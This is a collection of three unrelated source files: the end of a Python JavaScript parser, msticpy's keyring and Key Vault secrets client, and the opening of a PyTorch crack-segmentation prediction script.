filename, lineno)) class Tokenizer(object): def __init__(self, s, f, l): self.cursor = 0 self.source = str(s) self.tokens = {} self.tokenIndex = 0 self.lookahead = 0 self.scanNewlines = False self.scanOperand = True self.filename = f self.lineno = l input_ = property(lambda self: self.source[self.cursor:]) done = property(lambda self: self.peek() == END) token = property(lambda self: self.tokens.get(self.tokenIndex)) def match(self, tt): return self.get() == tt or self.unget() def mustMatch(self, tt): if not self.match(tt): raise self.newSyntaxError("Missing " + tokens.get(tt).lower()) return self.token def peek(self): if self.lookahead: next = self.tokens.get((self.tokenIndex + self.lookahead) & 3) if self.scanNewlines and (getattr(next, "lineno", None) != getattr(self, "lineno", None)): tt = NEWLINE else: tt = getattr(next, "type_", None) else: tt = self.get() self.unget() return tt def peekOnSameLine(self): self.scanNewlines = True tt = self.peek() self.scanNewlines = False return tt def get(self): while self.lookahead: self.lookahead -= 1 self.tokenIndex = (self.tokenIndex + 1) & 3 token = self.tokens.get(self.tokenIndex) if getattr(token, "type_", None) != NEWLINE or self.scanNewlines: return getattr(token, "type_", None) while True: input__ = self.input_ if self.scanNewlines: match = re.match(r'^[ \t]+', input__) else: match = re.match(r'^\s+', input__) if match: spaces = match.group(0) self.cursor += len(spaces) newlines = re.findall(r'\n', spaces) if newlines: self.lineno += len(newlines) input__ = self.input_ match = re.match(r'^\/(?:\(?:.\|\n)?\\/\|\/.)', input__) if not match: break comment = match.group(0) self.cursor += len(comment) newlines = re.findall(r'\n', comment) if newlines: self.lineno += len(newlines) self.tokenIndex = (self.tokenIndex + 1) & 3 token = self.tokens.get(self.tokenIndex) if not token: token = Object() self.tokens[self.tokenIndex] = token if not input__: token.type_ = END return END def matchInput(): match = fpRegExp.match(input__) if match: token.type_ = NUMBER token.value = float(match.group(0)) return match.group(0) match = re.match(r'^0[xX][\da-fA-F]+\|^0[0-7]\|^\d+', input__) if match: token.type_ = NUMBER token.value = eval(match.group(0)) return match.group(0) match = re.match(r'^[$_\w]+', input__) # FIXME no ES3 unicode if match: id_ = match.group(0) token.type_ = keywords.get(id_, IDENTIFIER) token.value = id_ return match.group(0) match = re.match(r'^"(?:\\.\|[^"])"\|^\'(?:\\.\|[^\'])\'', input__) if match: token.type_ = STRING token.value = eval(match.group(0)) return match.group(0) if self.scanOperand: match = reRegExp.match(input__) if match: token.type_ = REGEXP token.value = {"regexp": match.group(1), "modifiers": match.group(2)} return match.group(0) match = opRegExp.match(input__) if match: op = match.group(0) if op in assignOps and input__[len(op)] == '=': token.type_ = ASSIGN token.assignOp = globals()[opTypeNames[op]] token.value = op return match.group(0) + "=" token.type_ = globals()[opTypeNames[op]] if self.scanOperand and (token.type_ in (PLUS, MINUS)): token.type_ += UNARY_PLUS - PLUS token.assignOp = None token.value = op return match.group(0) if self.scanNewlines: match = re.match(r'^\n', input__) if match: token.type_ = NEWLINE return match.group(0) raise self.newSyntaxError("Illegal token") token.start = self.cursor self.cursor += len(matchInput()) token.end = self.cursor token.lineno = self.lineno return getattr(token, "type_", None) def unget(self): self.lookahead += 1 if self.lookahead == 4: raise Error("PANIC: too much lookahead!") self.tokenIndex = (self.tokenIndex - 1) & 3 def newSyntaxError(self, m): return SyntaxError_(m, self.filename, self.lineno) class CompilerContext(object): def __init__(self, inFunction): self.inFunction = inFunction self.stmtStack = [] self.funDecls = [] self.varDecls = [] self.bracketLevel = 0 self.curlyLevel = 0 self.parenLevel = 0 self.hookLevel = 0 self.ecmaStrictMode = False self.inForLoopInit = False def Script(t, x): n = Statements(t, x) n.type_ = SCRIPT n.funDecls = x.funDecls n.varDecls = x.varDecls return n class Node(list): def __init__(self, t, type_=None, args=[]): list.__init__(self) token = t.token if token: if type_: self.type_ = type_ else: self.type_ = getattr(token, "type_", None) self.value = token.value self.lineno = token.lineno self.start = token.start self.end = token.end else: self.type_ = type_ self.lineno = t.lineno self.tokenizer = t for arg in args: self.append(arg) @property def type(self): return tokenstr(self.type_) # Always use push to add operands to an expression, to update start and end. def append(self, kid, numbers=[]): if kid: if hasattr(self, "start") and kid.start < self.start: self.start = kid.start if hasattr(self, "end") and self.end < kid.end: self.end = kid.end return list.append(self, kid) indentLevel = 0 def __str__(self): a = list((str(i), v) for i, v in enumerate(self)) for attr in dir(self): if attr[0] == "_": continue elif attr == "tokenizer": a.append((attr, "[object Object]")) elif attr in ("append", "count", "extend", "getSource", "index", "insert", "pop", "remove", "reverse", "sort", "type_", "target", "filename", "indentLevel", "type"): continue else: a.append((attr, getattr(self, attr))) if len(self): a.append(("length", len(self))) a.sort(key=lambda a: a[0]) INDENTATION = " " Node.indentLevel += 1 n = Node.indentLevel s = "{\n%stype: %s" % ((INDENTATION * n), tokenstr(self.type_)) for i, value in a: s += ",\n%s%s: " % ((INDENTATION * n), i) if i == "value" and self.type_ == REGEXP: s += "/%s/%s" % (value["regexp"], value["modifiers"]) elif value is None: s += "null" elif value is False: s += "false" elif value is True: s += "true" elif type(value) == list: s += ','.join((str(x) for x in value)) else: s += str(value) Node.indentLevel -= 1 n = Node.indentLevel s += "\n%s}" % (INDENTATION * n) return s __repr__ = __str__ def getSource(self): if getattr(self, "start", None) is not None: if getattr(self, "end", None) is not None: return self.tokenizer.source[self.start:self.end] return self.tokenizer.source[self.start:] if getattr(self, "end", None) is not None: return self.tokenizer.source[:self.end] return self.tokenizer.source[:] @property def filename(self): return self.tokenizer.filename def __bool__(self): return True # Statement stack and nested statement handler. def nest(t, x, node, func, end=None): x.stmtStack.append(node) n = func(t, x) x.stmtStack.pop() if end: t.mustMatch(end) return n def tokenstr(tt): t = tokens[tt] if re.match(r'^\W', t): return opTypeNames[t] return t.upper() def Statements(t, x): n = Node(t, BLOCK) x.stmtStack.append(n) while not t.done and t.peek() != RIGHT_CURLY: n.append(Statement(t, x)) x.stmtStack.pop() return n def Block(t, x): t.mustMatch(LEFT_CURLY) n = Statements(t, x) t.mustMatch(RIGHT_CURLY) return n DECLARED_FORM = 0 EXPRESSED_FORM = 1 STATEMENT_FORM = 2 def Statement(t, x): tt = t.get() # Cases for statements ending in a right curly return early, avoiding the # common semicolon insertion magic after this switch. if tt == FUNCTION: if len(x.stmtStack) > 1: type_ = STATEMENT_FORM else: type_ = DECLARED_FORM return FunctionDefinition(t, x, True, type_) elif tt == LEFT_CURLY: n = Statements(t, x) t.mustMatch(RIGHT_CURLY) return n elif tt == IF: n = Node(t) n.condition = ParenExpression(t, x) x.stmtStack.append(n) n.thenPart = Statement(t, x) if t.match(ELSE): n.elsePart = Statement(t, x) else: n.elsePart = None x.stmtStack.pop() return n elif tt == SWITCH: n = Node(t) t.mustMatch(LEFT_PAREN) n.discriminant = Expression(t, x) t.mustMatch(RIGHT_PAREN) n.cases = [] n.defaultIndex = -1 x.stmtStack.append(n) t.mustMatch(LEFT_CURLY) while True: tt = t.get() if tt == RIGHT_CURLY: break if tt in (DEFAULT, CASE): if tt == DEFAULT and n.defaultIndex >= 0: raise t.newSyntaxError("More than one switch default") n2 = Node(t) if tt == DEFAULT: n.defaultIndex = len(n.cases) else: n2.caseLabel = Expression(t, x, COLON) else: raise t.newSyntaxError("Invalid switch case") t.mustMatch(COLON) n2.statements = Node(t, BLOCK) while True: tt = t.peek() if(tt == CASE or tt == DEFAULT or tt == RIGHT_CURLY): break n2.statements.append(Statement(t, x)) n.cases.append(n2) x.stmtStack.pop() return n elif tt == FOR: n = Node(t) n2 = None n.isLoop = True t.mustMatch(LEFT_PAREN) tt = t.peek() if tt != SEMICOLON: x.inForLoopInit = True if tt == VAR or tt == CONST: t.get() n2 = Variables(t, x) else: n2 = Expression(t, x) x.inForLoopInit = False if n2 and t.match(IN): n.type_ = FOR_IN if n2.type_ == VAR: if len(n2) != 1: raise SyntaxError("Invalid for..in left-hand side", t.filename, n2.lineno) # NB: n2[0].type_ == INDENTIFIER and n2[0].value == n2[0].name n.iterator = n2[0] n.varDecl = n2 else: n.iterator = n2 n.varDecl = None n.object = Expression(t, x) else: if n2: n.setup = n2 else: n.setup = None t.mustMatch(SEMICOLON) if t.peek() == SEMICOLON: n.condition = None else: n.condition = Expression(t, x) t.mustMatch(SEMICOLON) if t.peek() == RIGHT_PAREN: n.update = None else: n.update = Expression(t, x) t.mustMatch(RIGHT_PAREN) n.body = nest(t, x, n, Statement) return n elif tt == WHILE: n = Node(t) n.isLoop = True n.condition = ParenExpression(t, x) n.body = nest(t, x, n, Statement) return n elif tt == DO: n = Node(t) n.isLoop = True n.body = nest(t, x, n, Statement, WHILE) n.condition = ParenExpression(t, x) if not x.ecmaStrictMode: # <script language="JavaScript"> (without version hints) may need # automatic semicolon insertion without a newline after do-while. # See http://bugzilla.mozilla.org/show_bug.cgi?id=238945. t.match(SEMICOLON) return n elif tt in (BREAK, CONTINUE): n = Node(t) if t.peekOnSameLine() == IDENTIFIER: t.get() n.label = t.token.value ss = x.stmtStack i = len(ss) label = getattr(n, "label", None) if label: while True: i -= 1 if i < 0: raise t.newSyntaxError("Label not found") if getattr(ss[i], "label", None) == label: break else: while True: i -= 1 if i < 0: if tt == BREAK: raise t.newSyntaxError("Invalid break") else: raise t.newSyntaxError("Invalid continue") if (getattr(ss[i], "isLoop", None) or (tt == BREAK and ss[i].type_ == SWITCH)): break n.target = ss[i] elif tt == TRY: n = Node(t) n.tryBlock = Block(t, x) n.catchClauses = [] while t.match(CATCH): n2 = Node(t) t.mustMatch(LEFT_PAREN) n2.varName = t.mustMatch(IDENTIFIER).value if t.match(IF): if x.ecmaStrictMode: raise t.newSyntaxError("Illegal catch guard") if n.catchClauses and not n.catchClauses[-1].guard: raise t.newSyntaxError("Gaurded catch after unguarded") n2.guard = Expression(t, x) else: n2.guard = None t.mustMatch(RIGHT_PAREN) n2.block = Block(t, x) n.catchClauses.append(n2) if t.match(FINALLY): n.finallyBlock = Block(t, x) if not n.catchClauses and not getattr(n, "finallyBlock", None): raise t.newSyntaxError("Invalid try statement") return n elif tt in (CATCH, FINALLY): raise t.newSyntaxError(tokens[tt] + " without preceding try") elif tt == THROW: n = Node(t) n.exception = Expression(t, x) elif tt == RETURN: if not x.inFunction: raise t.newSyntaxError("Invalid return") n = Node(t) tt = t.peekOnSameLine() if tt not in (END, NEWLINE, SEMICOLON, RIGHT_CURLY): n.value = Expression(t, x) elif tt == WITH: n = Node(t) n.object = ParenExpression(t, x) n.body = nest(t, x, n, Statement) return n elif tt in (VAR, CONST): n = Variables(t, x) elif tt == DEBUGGER: n = Node(t) elif tt in (NEWLINE, SEMICOLON): n = Node(t, SEMICOLON) n.expression = None return n else: if tt == IDENTIFIER: t.scanOperand = False tt = t.peek() t.scanOperand = True if tt == COLON: label = t.token.value ss = x.stmtStack i = len(ss) - 1 while i >= 0: if getattr(ss[i], "label", None) == label: raise t.newSyntaxError("Duplicate label") i -= 1 t.get() n = Node(t, LABEL) n.label = label n.statement = nest(t, x, n, Statement) return n n = Node(t, SEMICOLON) t.unget() n.expression = Expression(t, x) n.end = n.expression.end if t.lineno == t.token.lineno: tt = t.peekOnSameLine() if tt not in (END, NEWLINE, SEMICOLON, RIGHT_CURLY): raise t.newSyntaxError("Missing ; before statement") t.match(SEMICOLON) return n def FunctionDefinition(t, x, requireName, functionForm): f = Node(t) if f.type_ != FUNCTION: if f.value == "get": f.type_ = GETTER else: f.type_ = SETTER if t.match(IDENTIFIER): f.name = t.token.value elif requireName: raise t.newSyntaxError("Missing function identifier") t.mustMatch(LEFT_PAREN) f.params = [] while True: tt = t.get() if tt == RIGHT_PAREN: break if tt != IDENTIFIER: raise t.newSyntaxError("Missing formal parameter") f.params.append(t.token.value) if t.peek() != RIGHT_PAREN: t.mustMatch(COMMA) t.mustMatch(LEFT_CURLY) x2 = CompilerContext(True) f.body = Script(t, x2) t.mustMatch(RIGHT_CURLY) f.end = t.token.end f.functionForm = functionForm if functionForm == DECLARED_FORM: x.funDecls.append(f) return f def Variables(t, x): n = Node(t) while True: t.mustMatch(IDENTIFIER) n2 = Node(t) n2.name = n2.value if t.match(ASSIGN): if t.token.assignOp: raise t.newSyntaxError("Invalid variable initialization") n2.initializer = Expression(t, x, COMMA) n2.readOnly = not not (n.type_ == CONST) n.append(n2) x.varDecls.append(n2) if not t.match(COMMA): break return n def ParenExpression(t, x): t.mustMatch(LEFT_PAREN) n = Expression(t, x) t.mustMatch(RIGHT_PAREN) return n opPrecedence = { "SEMICOLON": 0, "COMMA": 1, "ASSIGN": 2, "HOOK": 2, "COLON": 2, # The above all have to have the same precedence, see bug 330975. "OR": 4, "AND": 5, "BITWISE_OR": 6, "BITWISE_XOR": 7, "BITWISE_AND": 8, "EQ": 9, "NE": 9, "STRICT_EQ": 9, "STRICT_NE": 9, "LT": 10, "LE": 10, "GE": 10, "GT": 10, "IN": 10, "INSTANCEOF": 10, "LSH": 11, "RSH": 11, "URSH": 11, "PLUS": 12, "MINUS": 12, "MUL": 13, "DIV": 13, "MOD": 13, "DELETE": 14, "VOID": 14, "TYPEOF": 14, # "PRE_INCREMENT": 14, "PRE_DECREMENT": 14, "NOT": 14, "BITWISE_NOT": 14, "UNARY_PLUS": 14, "UNARY_MINUS": 14, "INCREMENT": 15, "DECREMENT": 15, # postfix "NEW": 16, "DOT": 17 } # Map operator type code to precedence for i in opPrecedence.copy(): opPrecedence[globals()[i]] = opPrecedence[i] opArity = { "COMMA": -2, "ASSIGN": 2, "HOOK": 3, "OR": 2, "AND": 2, "BITWISE_OR": 2, "BITWISE_XOR": 2, "BITWISE_AND": 2, "EQ": 2, "NE": 2, "STRICT_EQ": 2, "STRICT_NE": 2, "LT": 2, "LE": 2, "GE": 2, "GT": 2, "IN": 2, "INSTANCEOF": 2, "LSH": 2, "RSH": 2, "URSH": 2, "PLUS": 2, "MINUS": 2, "MUL": 2, "DIV": 2, "MOD": 2, "DELETE": 1, "VOID": 1, "TYPEOF": 1, # "PRE_INCREMENT": 1, "PRE_DECREMENT": 1, "NOT": 1, "BITWISE_NOT": 1, "UNARY_PLUS": 1, "UNARY_MINUS": 1, "INCREMENT": 1, "DECREMENT": 1, # postfix "NEW": 1, "NEW_WITH_ARGS": 2, "DOT": 2, "INDEX": 2, "CALL": 2, "ARRAY_INIT": 1, "OBJECT_INIT": 1, "GROUP": 1 } # Map operator type code to arity. for i in opArity.copy(): opArity[globals()[i]] = opArity[i] def Expression(t, x, stop=None): operators = [] operands = [] bl = x.bracketLevel cl = x.curlyLevel pl = x.parenLevel hl = x.hookLevel def reduce_(): n = operators.pop() op = n.type_ arity = opArity[op] if arity == -2: # Flatten left-associative trees. left = (len(operands) >= 2 and operands[-2]) if left.type_ == op: right = operands.pop() left.append(right) return left arity = 2 # Always use append to add operands to n, to update start and end. a = operands[-arity:] del operands[-arity:] for operand in a: n.append(operand) # Include closing bracket or postfix operator in [start,end). if n.end < t.token.end: n.end = t.token.end operands.append(n) return n class BreakOutOfLoops(Exception): pass try: while True: tt = t.get() if tt == END: break if (tt == stop and x.bracketLevel == bl and x.curlyLevel == cl and x.parenLevel == pl and x.hookLevel == hl): # Stop only if tt matches the optional stop parameter, and that # token is not quoted by some kind of bracket. break if tt == SEMICOLON: # NB: cannot be empty, Statement handled that. raise BreakOutOfLoops elif tt in (ASSIGN, HOOK, COLON): if t.scanOperand: raise BreakOutOfLoops while ((operators and opPrecedence.get(operators[-1].type_, None) > opPrecedence.get(tt)) or (tt == COLON and operators and operators[-1].type_ == ASSIGN)): reduce_() if tt == COLON: if operators: n = operators[-1] if not operators or n.type_ != HOOK: raise t.newSyntaxError("Invalid label") x.hookLevel -= 1 else: operators.append(Node(t)) if tt == ASSIGN: operands[-1].assignOp = t.token.assignOp else: x.hookLevel += 1 t.scanOperand = True elif tt in (IN, COMMA, OR, AND, BITWISE_OR, BITWISE_XOR, BITWISE_AND, EQ, NE, STRICT_EQ, STRICT_NE, LT, LE, GE, GT, INSTANCEOF, LSH, RSH, URSH, PLUS, MINUS, MUL, DIV, MOD, DOT): # We're treating comma as left-associative so reduce can fold # left-heavy COMMA trees into a single array. if tt == IN: # An in operator should not be parsed if we're parsing the # head of a for (...) loop, unless it is in the then part of # a conditional expression, or parenthesized somehow. if (x.inForLoopInit and not x.hookLevel and not x.bracketLevel and not x.curlyLevel and not x.parenLevel): raise BreakOutOfLoops if t.scanOperand: raise BreakOutOfLoops while (operators and opPrecedence.get(operators[-1].type_) >= opPrecedence.get(tt)): reduce_() if tt == DOT: t.mustMatch(IDENTIFIER) operands.append(Node(t, DOT, [operands.pop(), Node(t)])) else: operators.append(Node(t)) t.scanOperand = True elif tt in (DELETE, VOID, TYPEOF, NOT, BITWISE_NOT, UNARY_PLUS, UNARY_MINUS, NEW): if not t.scanOperand: raise BreakOutOfLoops operators.append(Node(t)) elif tt in (INCREMENT, DECREMENT): if t.scanOperand: operators.append(Node(t)) # prefix increment or decrement else: # Don't cross a line boundary for postfix {in,de}crement. if (t.tokens.get((t.tokenIndex + t.lookahead - 1) & 3).lineno != t.lineno): raise BreakOutOfLoops # Use >, not >=, so postfix has higher precedence than # prefix. while (operators and opPrecedence.get(operators[-1].type_, None) > opPrecedence.get(tt)): reduce_() n = Node(t, tt, [operands.pop()]) n.postfix = True operands.append(n) elif tt == FUNCTION: if not t.scanOperand: raise BreakOutOfLoops operands.append(FunctionDefinition(t, x, False, EXPRESSED_FORM)) t.scanOperand = False elif tt in (NULL, THIS, TRUE, FALSE, IDENTIFIER, NUMBER, STRING, REGEXP): if not t.scanOperand: raise BreakOutOfLoops operands.append(Node(t)) t.scanOperand = False elif tt == LEFT_BRACKET: if t.scanOperand: # Array initializer. Parse using recursive descent, as the # sub-grammer here is not an operator grammar. n = Node(t, ARRAY_INIT) while True: tt = t.peek() if tt == RIGHT_BRACKET: break if tt == COMMA: t.get() n.append(None) continue n.append(Expression(t, x, COMMA)) if not t.match(COMMA): break t.mustMatch(RIGHT_BRACKET) operands.append(n) t.scanOperand = False else: operators.append(Node(t, INDEX)) t.scanOperand = True x.bracketLevel += 1 elif tt == RIGHT_BRACKET: if t.scanOperand or x.bracketLevel == bl: raise BreakOutOfLoops while reduce_().type_ != INDEX: continue x.bracketLevel -= 1 elif tt == LEFT_CURLY: if not t.scanOperand: raise BreakOutOfLoops # Object initializer. As for array initializers (see above), # parse using recursive descent. x.curlyLevel += 1 n = Node(t, OBJECT_INIT) class BreakOutOfObjectInit(Exception): pass try: if not t.match(RIGHT_CURLY): while True: tt = t.get() if ((t.token.value == "get" or t.token.value == "set") and t.peek == IDENTIFIER): if x.ecmaStrictMode: raise t.newSyntaxError("Illegal property " "accessor") n.append(FunctionDefinition(t, x, True, EXPRESSED_FORM)) else: if tt in (IDENTIFIER, NUMBER, STRING): id_ = Node(t) elif tt == RIGHT_CURLY: if x.ecmaStrictMode: raise t.newSyntaxError("Illegal " "trailing ,") raise BreakOutOfObjectInit else: raise t.newSyntaxError("Invalid property " "name") t.mustMatch(COLON) n.append(Node(t, PROPERTY_INIT, [id_, Expression(t, x, COMMA)])) if not t.match(COMMA): break t.mustMatch(RIGHT_CURLY) except BreakOutOfObjectInit as e: pass operands.append(n) t.scanOperand = False x.curlyLevel -= 1 elif tt == RIGHT_CURLY: if not t.scanOperand and x.curlyLevel != cl: raise ParseError("PANIC: right curly botch") raise BreakOutOfLoops elif tt == LEFT_PAREN: if t.scanOperand: operators.append(Node(t, GROUP)) x.parenLevel += 1 else: while (operators and opPrecedence.get(operators[-1].type_) > opPrecedence[NEW]): reduce_() # Handle () now, to regularize the n-ary case for n > 0. # We must set scanOperand in case there are arguments and # the first one is a regexp or unary+/-. if operators: n = operators[-1] else: n = Object() n.type_ = None t.scanOperand = True if t.match(RIGHT_PAREN): if n.type_ == NEW: operators.pop() n.append(operands.pop()) else: n = Node(t, CALL, [operands.pop(), Node(t, LIST)]) operands.append(n) t.scanOperand = False else: if n.type_ == NEW: n.type_ = NEW_WITH_ARGS else: operators.append(Node(t, CALL)) x.parenLevel += 1 elif tt == RIGHT_PAREN: if t.scanOperand or x.parenLevel == pl: raise BreakOutOfLoops while True: tt = reduce_().type_ if tt in (GROUP, CALL, NEW_WITH_ARGS): break if tt != GROUP: if operands: n = operands[-1] if n[1].type_ != COMMA: n[1] = Node(t, LIST, [n[1]]) else: n[1].type_ = LIST else: raise ParseError("Unexpected amount of operands") x.parenLevel -= 1 # Automatic semicolon insertion means we may scan across a newline # and into the beginning of another statement. If so, break out of # the while loop and let the t.scanOperand logic handle errors. else: raise BreakOutOfLoops except BreakOutOfLoops as e: pass if x.hookLevel != hl: raise t.newSyntaxError("Missing : after ?") if x.parenLevel != pl: raise t.newSyntaxError("Missing ) in parenthetical") if x.bracketLevel != bl: raise t.newSyntaxError("Missing ] in index expression") if t.scanOperand: raise t.newSyntaxError("Missing operand") t.scanOperand = True t.unget() while operators: reduce_() return operands.pop() def parse(source, filename=None, starting_line_number=1): """Parse some Javascript Args: source: the Javascript source, as a string filename: the filename to include in messages starting_line_number: the line number of the first line of the passed in source, for output messages Returns: the parsed source code data structure Raises: ParseError """ t = Tokenizer(source, filename, starting_line_number) x = CompilerContext(False) n = Script(t, x) if not t.done: raise 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msticpy/common/secret_settings.py	GiuseppeLaurenza/msticpy	0	153745	<gh_stars>0 # ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- """Settings provider for secrets.""" import re from functools import partial from typing import Any, Callable, Dict, Optional, Set, Tuple import keyring from keyring.errors import KeyringError, KeyringLocked from .._version import VERSION from . import pkg_config as config from .exceptions import MsticpyKeyVaultConfigError from .keyvault_client import BHKeyVaultClient from .keyvault_settings import KeyVaultSettings from .utility import export __version__ = VERSION __author__ = "<NAME>" @export class KeyringClient: """Keyring client wrapper.""" def __init__(self, name: str = "key-cache", debug: bool = False): """ Initialize the keyring client. Parameters ---------- name : str, optional Name of the credential group, by default "system" debug : bool, optional Output debug info, by default False """ self.debug = debug self.keyring = name self._secret_names: Set[str] = set() def __getitem__(self, key: str): """Get key name.""" cred = self.get_secret(key) if cred: return cred raise KeyError def get_secret(self, secret_name: str) -> Any: """ Retrieve a secret from the keyring. Parameters ---------- secret_name : str Secret name. Returns ------- Any Secret value. """ secret = None if self.debug: print(f"Fetching {secret_name} from keyring") try: secret = keyring.get_password(self.keyring, secret_name) except (KeyringError, KeyringLocked): if self.debug: print( "Keyring error retrieving credentials", f"for {secret_name} from keyring {self.keyring}", ) if not secret and self.debug: print("No credentials", f"for {secret_name} from keyring {self.keyring}") return secret def set_secret(self, secret_name: str, secret_value: Any): """ Set a secret in the keyring group. Parameters ---------- secret_name : str Name of the secret secret_value : Any Secret value """ if self.debug: print(f"Saving {secret_name} to keyring {self.keyring}") self._secret_names.add(secret_name) keyring.set_password(self.keyring, secret_name, secret_value) @export class SecretsClient: """Secrets client - manages keyvault and keyring secrets.""" def __init__(self, tenant_id: str = None, use_keyring: bool = True): """ Initialize SecretsClient instance. Parameters ---------- tenant_id : str, optional TenantID, by default None use_keyring : bool, optional If True use keyring to cache secrets, by default True Raises ------ MsticpyKeyVaultConfigError Missing or invalid configuration settings. Notes ----- Requires KeyVault settings to be defined in msticpyconfig.yaml """ self._kv_settings = KeyVaultSettings() self.tenant_id = tenant_id or self._kv_settings.get("tenantid") if not self.tenant_id: raise MsticpyKeyVaultConfigError( "Could not get TenantId from function parameters or configuration.", "Please add this to the KeyVault section of msticpyconfig.yaml", title="missing tenant ID value.", ) self.kv_secret_vault: Dict[str, str] = {} self.kv_vaults: Dict[str, BHKeyVaultClient] = {} self._use_keyring = use_keyring or self._kv_settings.get("UseKeyring", False) if self._use_keyring: self._keyring_client = KeyringClient("Providers") def get_secret_accessor(self, setting_path: str) -> Callable[[], Any]: """ Return accessor function for a secret. Parameters ---------- setting_path : str The msticpy configuration path (dot-separated) Returns ------- Callable[[None], Any] Accessor function for the secret value. """ vault_name, secret_name = self._get_kv_vault_and_name(setting_path) if vault_name is None or secret_name is None: return lambda: secret_name if secret_name else "" return self._get_secret_func(secret_name, vault_name) def _add_key_vault(self, vault_name: str, secret_name: str): """Add the KeyVault instance responsible for storing `secret_name`.""" vault = self.kv_vaults.get(vault_name) if not vault: vault = BHKeyVaultClient(self.tenant_id, vault_name=vault_name) self.kv_vaults[vault_name] = vault self.kv_secret_vault[secret_name] = vault_name @staticmethod def format_kv_name(setting_path): """Return normalized name for use as a KeyVault secret name.""" return re.sub("[^0-9a-zA-Z-]", "-", setting_path) def _get_kv_vault_and_name( self, setting_path: str ) -> Tuple[Optional[str], Optional[str]]: """Return the vault and secret name for a config path.""" setting_item = config.get_config(setting_path) if not isinstance(setting_item, dict): return None, str(setting_item) if "KeyVault" in setting_item: kv_val = setting_item.get("KeyVault") def_vault_name = self._kv_settings.get("VaultName") if not kv_val or kv_val.casefold() == "default": # If no value, get the default VaultName from settings # and use the setting path as the secret name if not def_vault_name: raise ValueError("No VaultName defined in KeyVault settings.") secret_name = self.format_kv_name(setting_path) return def_vault_name, secret_name if "/" in kv_val: # '/' delimited string means VaultName/Secret vault_name, secret_name = kv_val.split("/") return vault_name, self.format_kv_name(secret_name) if not def_vault_name: raise MsticpyKeyVaultConfigError( "Check that you have specified the right value for VaultName" + " in your configuration", f"No VaultName defined in KeyVault settings for {setting_path}.", title="Key Vault vault name not found.", ) # If there is a single string - take that as the secret name return def_vault_name, self.format_kv_name(kv_val) return None, None def _get_secret_func(self, secret_name: str, vault_name: str) -> Callable[[], Any]: """Return a func to access a secret.""" if self._use_keyring and self._keyring_client.get_secret(secret_name): return self._create_secret_func(self._keyring_client, secret_name) # If the secret is not in keyring, get the vault holding this secret if not self.kv_secret_vault.get(secret_name): self._add_key_vault(secret_name=secret_name, vault_name=vault_name) vault = self.kv_vaults[vault_name] if self._use_keyring: # store the secret in keyring and return an accessor # to the keyring value. self._keyring_client.set_secret(secret_name, vault.get_secret(secret_name)) return self._create_secret_func(self._keyring_client, secret_name) # if not using Keyring - return a KeyVault accessor return self._create_secret_func(vault, secret_name) @staticmethod def _create_secret_func(secret_store, secret_name): return partial(secret_store.get_secret, secret_name=secret_name) @staticmethod def read_secret(secret_object: Any) -> Any: """ Return the secret value. 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predict_new.py	JiaqiWangplus77/pytorch_tiramisu	0	79248	<reponame>JiaqiWangplus77/pytorch_tiramisu #!/usr/bin/env python3 # -- coding: utf-8 -- """ Created on Mon Sep 9 15:59:06 2019 @author: <EMAIL> """ from pathlib import Path import numpy as np import matplotlib.pyplot as plt import time import datetime import torch import torch.nn as nn import torch.optim as optim import torchvision import torchvision.transforms as transforms from torch.autograd import Variable from models import tiramisu from datasets import camvid from datasets import joint_transforms import utils.imgs import utils.training_crack as train_utils import pandas as pd import cv2 import argparse import json from tqdm import tqdm from PIL import Image import os pid = os.getpid() import subprocess subprocess.Popen("renice -n 10 -p {}".format(pid),shell=True) os.environ['CUDA_VISIBLE_DEVICES'] = '1' ''' green is miss detection blue is pixel predicted to be crack, but the ground truth is not ''' ''' an example in command line python3 predict_argparse.py --CAMVID_PATH 'SegNet-Tutorial/CamVid/resized7' \ --weights_file_folder '.weights/resized7_no_weight_random_crop/' \ --weight_filename 'weights-200-0.218-0.054.pth' \ --result_folder 'output/5_without_class_weight_resized7_delete_later/' ''' if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("--CAMVID_PATH", type=str,default='SegNet-Tutorial',help="path to dataset") parser.add_argument("--batch_size", type=int, default=1, help="size of each image batch") parser.add_argument("--weights_file_folder", type=str, default=".weights/CFD/patch_training/patch8080/pn13_t10/", help="path to weight") parser.add_argument("--weight_filename", type=str, default='weights-100.pth', help="name of the weight file") parser.add_argument("--n_classes", type=int, default=2, help="number of the class") parser.add_argument("--result_folder", type=str,default='output/patch8080_pn13_t10/test', help="path to save the results") # parser.add_argument("--save_image", type=int,default=1, help="if save image or not,1 mans save,0 means no") parser.add_argument("--test_list", type=str, default='SegNet-Tutorial/CamVid/CFD/list/add_aug_test.txt', help="path to dataset") opt = parser.parse_args() print(opt) CAMVID_PATH = os.path.join(opt.CAMVID_PATH) #WEIGHTS_PATH = os.path.join('.weights/with_class_weight_and_randomcrop224/') batch_size = opt.batch_size weights_file_folder = os.path.join(opt.weights_file_folder) weight_filename = opt.weight_filename n_classes = opt.n_classes result_folder = os.path.join(opt.result_folder,weight_filename) # save_image = opt.save_image image_name = 'test_{:04d}.png' fpath = os.path.join(weights_file_folder,weight_filename) if os.path.isfile(weight_filename): raise Exception('file does not exist') os.makedirs(result_folder,exist_ok=True) ''' predict_folder = os.path.join(result_folder, 'predict') FN_folder = os.path.join(result_folder, 'FN') TP_FP_FN_folder = os.path.join(result_folder, 'TP_FP_FN') os.makedirs(predict_folder,exist_ok=True) os.makedirs(FN_folder,exist_ok=True) os.makedirs(TP_FP_FN_folder,exist_ok=True) ''' txt_file_list = [filename for filename in os.listdir(result_folder) if filename.split('.')[-1] == 'txt' ] if len(txt_file_list) > 0: for file in txt_file_list: os.remove(os.path.join(result_folder,file)) with open(os.path.join(result_folder,'basic information.txt'),'w') as f: json.dump(opt.__dict__,f,indent=2) mean = [0.50898083, 0.52446532, 0.54404199] std = [0.08326811, 0.07471673, 0.07621879] normalize = transforms.Normalize(mean=mean, std=std) test_dset = camvid.CamVid2( CAMVID_PATH, path=opt.test_list, joint_transform=None, transform=transforms.Compose([ transforms.ToTensor(), # normalize ])) test_loader = torch.utils.data.DataLoader( test_dset, batch_size=opt.batch_size, shuffle=False) model = tiramisu.FCDenseNet67(n_classes=n_classes,in_channels=3).cuda() inputs, _,_ = next(iter(test_loader)) print('evaluation image size: ', inputs.size()) #model.apply(train_utils.weights_init) train_utils.load_weights(model, fpath) c_matrix = np.zeros([n_classes,n_classes]) result_each_image = [] # for batch_i in tqdm(range(len(test_loader))): cmatrix_each = [] # 